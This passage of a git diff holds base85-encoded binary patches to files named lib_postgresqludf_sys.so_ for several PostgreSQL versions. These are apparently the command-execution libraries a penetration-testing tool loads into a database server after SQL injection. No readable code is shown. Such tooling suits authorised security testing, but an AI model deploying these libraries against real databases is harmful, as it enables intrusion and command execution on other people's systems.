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 literal 2632 zcmV-O3b*w=(z+@x6+VJ|bk$3FI1ndg&aPuyZP(c=6aQFz)^?vXj9Pi7Qe9DKU8Lz^ zTt%{}RUI1^+xHXPLp?#GONnskbv&)K9cD}phokg_5X-BE0-{UUu=0no zGaJmnhy(MQFfB65z)RZ(B$3pq?On(YiGj2eX@%Vj;|Vg+WB1pn7$+|FHY;Y=@s3c3+@7bBorw z0pA}hCv_uX0`?uPU6msCstq?n27ha@PksvK9qq`$1PN_t$;?jTFMp?D$nrVlxt@vf z(0FT|^S8?d`Rr^&>LH*&`3QZwl0JwSv}07^=zO>=bw=DYQk7Z`)5ghw7!tXS6g7dsMJKt>4Z4z= zY?+6-OQ2<#N#v3og$!rq709`O?)js#skb1d-r+v{tbE@q>;|*Ouq&jLu5;tdW}u)X z-(4pNt0GTxGTyD}e-g7Pwwfr*@s@(nL6du;1%)7bI0a~AikE^F_gW_zOQfrwN+(!~ z@o?rbMUu+}t()m>d=PlL;OF_Ez8tAz#GGEXJcGQPQi!{fu@hWhHH{4uA3We%%!ygb}4y;W{53rjih1E(}97lDGm`7p8}`J z4j*k_Nbxx*x-%tAFhgx*9uc-UtNnkDKmhw#$R{^NLkc!VF+K*&aNP{fVfq_K1d;>! zB5PyI9;;O$B`@4kVjV?5egA-4#Gp}yT>d@A@^ESQ$Z8e2L^UsA@IXO|3hxtA;^?Mz zEDK>uLa2%+#xTZN@!CpskZpQsymmx}o1NX+PVn70j5C9 zzP_tA7VjW)zFmQ~UKrQD-W6MicDX0}^h4SKwfLG0&3}sf4UkG&NM%Z{iVxL7o(qIH z8=4&NSur8m<{Bmq6d#o`(pWQQrp>8@7cKwdhcqGSXIp7tHr#PRyONLqUp(wYR5Z`~ z)jYMC-aB%FntoxVCU+Fpgfx;*bn}*Y8`-&{8e)7<%?|bMB6Nc(V3`$gt2{TCIif=8 zkkN)MjP3C*Im{J_lVLtFN5M9X!`SziTJ#5|$AJ^b|Jr;ZR(BDq53ovk>L!hG!VVC>AA=&u%g00j^@sref&QvP z0{~t@f^56XXzTSf)74RN?E%pQ6|6oZX4s7Sw=16jdmqrN)H^$Sfx%_U{hU!Jjvim| zylmgJ`KrVA`1fz;JQ2^3UaL>`*zCSyh1VC;!YXSUaJ9E(rTbGKun)?;kq^m~~*2^Czj-T7mq21rpkyBx;705OpbJ6{YT-Zp- zr|j;kV|zqcel&E$2&oHGs!_Jd97%`m`m@sX17e>a-L7bm z=bKBI6C%fd*X9lVz%2ih4rFVFJAUkTz1hF@AcZ8S2;$RW!pe5HPJ9@@eA+a=r#G#57Gv{02+VxwY`FH)^)C2Oj<)VQDxqgDTY!*?E}>m zYv;z8*ICl*1mPA<$L%e6C4rv@XWuYjnT>&<8(3IN?xBL_L+>4_II-&|A###_Mm#;U3{!~OFQ{D5ht{l>{{2_+-e;pzfL5fe&}WECjL^ qC^$fP|3LMuhFy`J5d?4C6PVx3pa7ZEdDz#e(5|lfMXPX-M#PIa*eyu_ diff --git a/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ index 8a61270ca7a249057df5829848e31672feb3e43b..9327b1cdba3e485ea520a47292df74f0def039ca 100644 GIT binary patch literal 2633 zcmV-P3byqG&u6bqp#OMy+E z*-WKAZzG%zw@D;ZnDO7%ovE72~T&_;0AhxnAbgi`d&m=qmx;gZ9dZn zM)V8YHBPPjoN>e3$0c#rH@`AFTaw3y zMVMnFjj=^S7II7a7xrvS1+#3-($YxanfzI;3GNb|#caC6Te><5i5T34Nik5|*5sO> zywU>9tJrDg!2md5t5=o?8Vkbf3Z%4r`j3@+38}oG$+$KP#%gr$DMqcHM^ZVwmW`b> zaX8AaQs(S)Y(qfpHgY(GGM=>7@(*iY2-nrw_Rzzi?8~Jg%v7<~2A53~zSEsDAtbQy zddSg}c+R_G6F%M$LD&p$5wW>WGEzqqtF8xme%}PpXEwwMy>nmGZ-;Of4c>zLFz65l zd2nW@9PIEYRR#sH-tNo)~Ab6Bd_sqYCE;gwU6P5YB>=efa-Z z(1Gu9;beL^Z@u<@G!z#$9nY9B60LNAr)l z_q(4}=81x27a0FONF=eIb1brO4jzRPw3F_NH78$JG95i>81wmj7M6+b%8uC+oFp*k zj=cl9wu4fK7qnH;rU$wJK%%l~Wtj2Y2q;KgGZuu1uPfV1!Lk`M32&VhH5I8-qKIF? z#wWHMZA(3Zom(-xh8kA%=W@gf(~n7hY4NAuIlght-t|0#B{f#;;Tib3sxe&M7KnnT zPKj^J){DKzO+}*2jz7bu&j8nG*!P6N(tDd|b@<1oQ3fu5k((cU$)UD;*TSg)xEQgT zBIc{mF+BR5uC}(*Lg%rYtCu0Z)`pbCP4>Lj`WpGgC&T^L863U+#m&<+BFZ0N! z78MR~2XBFI4$d}Rq~!8n2dQW?O|2gws+J;dedrCzWodVI`6n{GMP?nqtIs?Js}8?BwFR-%`vqkTJwBB>xx?HGnzWbzIhtV>r1X}oM$tSNG3VLH=NL$e$B#@$4Vkn7k|#D z6ca#@U3hZ%kOA{QV0%)snej zDiWSmHGYv3(q}jR<P%x z=%vM@txygc+4H+Sm|uXOS#;rR(u7rPP*SQ5=t?-;EDUO_Q*a)=o!3!BUU~y)|GwuX z;v?jw*V(yYNiyu>5|Cr?XxU&F0(lY4XRv1YHZc^bGOKRsCV_!pS{C1S>==VH>&&S! zBE9y$UkgkH5xa^l))~UDUNU$*l3C|Tm8H(>h(D`x5RH#7s9D4BVxDif&swuxU4I`G ze#**dI7sE@JbafX=`VuuVu*#P8t7g*Ago~Z2Y6q-dHvX{zAGJwdMAlGG}eo&Jy9<( zenu4~Ho&`#_a4!#gT^R|WyAN@*J&y76dvCc+<;m#cm9Sq&-)(}WRAgr&0`@hhf^lV zHV~eRkn!hzbWcOqRzjtE_lH(YkFCEkF_wP;$tfTbGw`T{)b2kZ_!47^TVJghcVcHHO5{8sP%>d#NHYOHvp-0t52{y0LwF*s+IM_QgGE#|* z30f3G&0OOB)HO{9FLbG+1NSqj6R;}8TvL-H=!ZuSCR)|^ISU~=NrsrYj6i+&0UmE3 z;nQu9IwD_ba4(#n?0)&k%uTKGQb$-Q3pa0}~8S zi~<20DdqhE_J~bnd2?-;3p!wGzt}GZ0{oL~>@^$2BfRlA6)RrkxxyhLC#LO@z-SZk zqs1r&%QEHsa>M6EZ>^YMJIno)L!n5+!2Bjtg4zUc)}qn#27buv$$5d8SOWQ2XHW>D z&1HKsS;YaaJ$IudLI8#cEx@BNhj*64M;L4ZjT631Qy>hfbz)19MQ*mO}j{=yT<97lC&fD*m4u_^$>MP^%z3Qy3*rTz^;~PQwattMau7LRYjZu z+nW>9a^~*=Lmd_L)EO9mMD`x2{HB+4zC_W2QfY4%QlVeT3Bm{(6M`Ck`I) zM+@liyDFys@=u8##gSiE-h}*}s`M)}m=Mmp3@$k5Q6Yd^P3a|>!hks|KGeorCBJG&MLC~LVfKIZ1Eo+ literal 2633 zcmV-P3byq<(z+@*DLI0Cbrer!NZRPl{C&{q`ecB7FOuCLxlBv=cF)s-z6G5S6BRj{ zQMsWfjxkY=Q;668a4ny!Cs+xVnkGTetr_#k|H=V00$B;p1G?jTD%d=S7b=_^ail|@ zp=^X7Kqie_vT_Zvvksq!~{&_4VpYVBeMULosLYRbi1eR@07S?Q%Sepkpvpv#_3{3a*6ynzv~-a7DUw`4z4D*{8v(xX z0_gCvSIeq55Fg_rd;J1$X_1(39amOHsE;~JMEVNQ9~R{(l6FpkY^F^mH~WnHNXRiK zR&{ssAI;4gZzBun;U0oVQo2K)QFvtJ{RsO4VNA{k58CZDiiWS8r}EAp_lYK`3Z{#L zOjHR?e&|>g%;lkL!iEVX_C>8ZIXunM7L>MVN7gM;T;NuNC~cYKLpHO?^7Z4GMZN+`JanTss3qBP5lGB@aR%`nZz? zr7mc|qCAecl7oGOrp!b6O$UB<9T+S;8`8v1EVGC1vaa|tvmqg} zjhsGA)$vR)wWg*$7;-B-#AtFLHZM)bCdI-gAcD zHmOeP`HrlTPGq0{v>MH(w;=XO_wtpL(ORZjPu(T@gpx4p)u*ZUYFyW*!6y$@zH+b~VWb~PZS|+%o{(A*E}wc= zCnthp0xtC%XCqnW;;BRWPDyT-N1hAXr`K4A3^i~cb7e8VVy67T?CNK{Wn6psBImlM zLxEPyQ1**fz17jjWiX^;F+P5jGeevN^(J$_3=)46UsYb^wouUADxX6)& zXd>~L?OR6xRgZgsJw`m?gvu>bs4s#J*~Mks0<7GqHs3^w^yI5!ef~sCRr3S!`5xwp z#K$JtALs3N1BKLS)JG${aa<*rJ%}5S!{kTL*pqA#MoeZ%S_k@nN}|?KItv`wYyOBQ z86e9sFdxFfndDhGdUjo6y4O+j%vl;8S?FKdO?DV#u`AL4MBsDmY%f|-L!GTv{9$M% zyJ6on(spq!K9us=L|)_q**7XT78M^iRfDRUnOHT5T8ROCg&-6c759WdzN=+1B^lwD zj!B@Y=QJbZ{|1kfj?++R}y(qI!;>AymLh{eeU|Q*)O;(r-50R4hx4e02}#p7v~ZWM2(vhn~g+ z%_jBn)cAx`a~I;`YOq4lN8E8j0az^lU6p9~P7yVT9j<@8C7`@*U^CHnlsKXi#L2j1 zA)L#MWiCPmX`8DI`5e>wT@ytPsC?;3?S=2kr#iYP6Rffwl6=kY8oo}M;9sH$US1+5 zMDN6CKxo9r6M2Sn>JGodSgnhwV#t3O52|!O zGk+RGwS2?e`!HNmELD_|Inq6;Ymf`&b5??O>!x}=9Dm#QK`Q_oW`l|Bk6}Q?J3C$Sa}J@c)?4?;v~sI_VO^`3Pkc;15Ul)ig7g(bi&eFaJ@O01=lR&@dowL= zqX!U9D#XAu%&kLY0aHx5BtLOKy!jF|IN6|;C5^}O}K_R<37v-%m|5vx-XdQi5jxvLOX$1nw2}}e0c*AxZc0+ceeE|gZ zpf-cp2NLbePMUR*f#c_z>XZW3_jdxN_Ay9$&pk}Z!t%m*@2iJBP$)YXfA8UHEoHqR z^qvBSamURpO9k$Op+~ja*_Xc3b-KD{=kkKVG;4tr+BP%JgQUvw4O2aV+a!5PM_MTcbUydS{+X{PX8%_6q);bimdEV0fw?^wspPa#* r!OzZ)l~v>A>{Fvz;3?b~i@P-?#G$(d{QiM*pL`~hwhEKnZFu}z22~r% diff --git a/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ index b1258cbe9a4a3dfbeea4e8ae67a284f9d8771a06..a9874449464ec4b039c0750a23d27af2258adeb1 100644 GIT binary patch literal 3257 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 literal 3257 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 diff --git a/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ index 2c2e96ca70a948a79130092aa0b051665902f977..e4b124fc8b3670f28d4a0870d2c0f6e2e0f1138f 100644 GIT binary patch literal 2561 zcmV+c3jXyys=^8%20W7`_PJoli^a$d$}3wq@FiW4D{`a7Zp<^CLp^c&V!*G8r9kxT z*+|JtxWoCTal|EDZz29Q^D*XzQtjTa;^rj^0|z8{Bqg@*-xG%GADa@Q1D4HF9Xy1X z#e<+$qQ@H6yE)pNRIv6w`AVhVtsW1#GV8o23qAYwDMdCP-&q>?S8m|%>7L?1TN+){ zha(^Q5hkfR#u!$SK&6Q>$_w=ORgsd~uCaL*iD|gC^|Mz-nidiFI;i-HqFs4{{re~E z!50Z{Gfp)}%axS-$=R&O(nV0nuiZ*;wH7{moy@X1&$%hblUm}|zEBaz_t{{WdgEIO z6?rRp;sfZlO292(?i0Q*!F1}cSLjz4oKUAuje?>WIy%HQGrCh(!>y8cWekKlLnf$w zh|oa*`nruThcOP~tl8#c$OS1tU3WM2lQOGYrmLX0?@DK7@zkveap#he$MNXb1t_-9 zfA^_rH!F+r-gPwA!OXe$u{JnfFC?hX)i8+~4}~PRiq$yU!yyHcx0IjCsf{51x40Z4 z5rd)fvjdr(PQAtr)6SggP|2)QV){0!Z3D@psRXu9z|XLZ`dNRiObLHbt`W_^RKXa1 zOrCuUip*26q*9GKzeI_KEsmSmb`cJ(o9PErUiV<|{%E&PN*Imq_@E z0*`|#$pw^eZmv+fpk=mjO^>Kdv7T3HTrUMa=Id@aIRbb=>+Z0F0CSstfO*tA6{D|W5_H;EW@__`do#e9JA@0O%a zu)>MtP^raUeQkwt52>JmzYX-hLxggEei&hjnv3n8CN7mnd?@*+$44Cx6~%@ONJ0&< z+&#OOZ6N8ZnN*JkG2E0CzCm9)MF!7RPMkw&5ck5JG8&<_GA&3R`oUhEO3(YFujh@L z+(3AF>K!MgJoji!V$0<5eg0 zM_tLG?$My^8pj> zL7Xaa{z;!LCnD`;v0ipJ&ga!t!c!Anae$`7 zz2L>j=0gXS^N^s@_RmbpWCJQz9nm}*sa={B7bjQ5Ed%;xfi0JWeff zZ_W%9&at{+u9L!j4~Rz)8sQ8AuKD#KLjzKx4d<~i5$>xJwtJT+S2%=n7wDdanGtuw zU_P7Q*2i|h`RJh+o;$tFa6NmvJ$W^yj(H%(`?ji7yYyRzb$W}^mn?mc9Zd9BT=1V7 zq9t?jQgTXAGwzs)EqINYO}BD!e|e|7GriJ01GYgs;=n=t1ul#f;9G zoI?`$)EW7ibzcYUOw(aMZEF`hlpv2IG9rPWsVY#P|0_I{Mpf#GR|)}!uQ1*BvUY3v zq|vZKu;Z@-)9f|9lS@4xXZ%?-DXgiqk7CESC{6JMES&be(!T?eZBZA9rGT* zO(@b-<}g~Oh`Ai|IcUlh-WWtHf)fq;7C}g;8w_W7_8_WwKr1F7~_X&3{fQBfS!KQ z6H_BjX8zRHXTDb^?`L3`cmByFEMFT{6E=cCDz+~^HjJPG-Ur%#2y19Q{y+NoF^~6- z+@|v--5wkRvn)ISe$+f2o2(CaIx&`UB7|5e`{d2wa}bcUe=~~s@+Xjq=}f%;KoM5o z2z0f_<{`Z6&MJ z6p*q#d$hVn@r zq9vuQRR`HrmV3mXOWbC^N~aHn757Mjk?4o8oOZlD%p6bGHDce*oXH^zj;XP z@eEdr6fnewp7~fcX9Wan*JR|5AkmRW$ej{#c6Fitg*kQ1=}A`I6)cME_axCB6#Vn=_aT4j%YtD6 